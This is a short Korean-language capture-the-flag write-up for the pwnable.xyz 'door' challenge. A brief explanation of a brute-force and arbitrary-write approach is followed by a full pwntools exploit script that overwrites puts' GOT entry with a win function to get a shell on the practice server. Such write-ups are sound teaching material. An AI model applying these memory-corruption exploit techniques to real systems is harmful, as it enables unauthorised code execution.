pwn/pwnable.xyz
pwnable.xyz / door
lok2h4rd
2022. 5. 27. 04:52
랜덤 하게 생성된 값을 맞추면 aaw가 가능하다
잠을 못자 판단이 흐려져서 그런지 머리에 계속 4byte brute force만 떠올랐다
enter the door에서 원하는 주소 4byte를 0으로 만드는 것이 가능하다 put + 4를 먼저 null로 만들고
랜덤 한 값이 저장된 bss + 1 주소를 널로 만들어 1byte만 brute force 하도록 만들었다
이후에 aaw는 puts got주소에 win함수를 넣었다
from pwn import *
#context.log_level = "debug"
p = remote("svc.pwnable.xyz", 30039)
#p = process("./door")
def brute():
for i in range(0x100):
p.recvuntil(b"> ")
p.sendline(b"2")
p.recvuntil(b"Realm: ")
p.send(str(i))
p.recvuntil(b"> ")
p.sendline(b"1")
byte = p.recv(1)
print(f"{i}: {byte}")
if byte == b"D":
break
return i
def set_null(addr):
p.recvuntil(b"> ")
p.sendline(b"2")
p.recvuntil(b"Realm: ")
p.send(str(addr))
p.recvuntil(b"> ")
p.sendline(b"3")
door = 0x601244
win = 0x400969
puts = 0x601018
set_null(puts + 4)
set_null(door + 1)
byte = brute()
p.recvuntil(b"oor: ")
p.send(str(win))
p.recvuntil(b"Realm: ")
p.send(str(puts))
p.recvuntil(b"> ")
p.sendline(b"0")
p.interactive()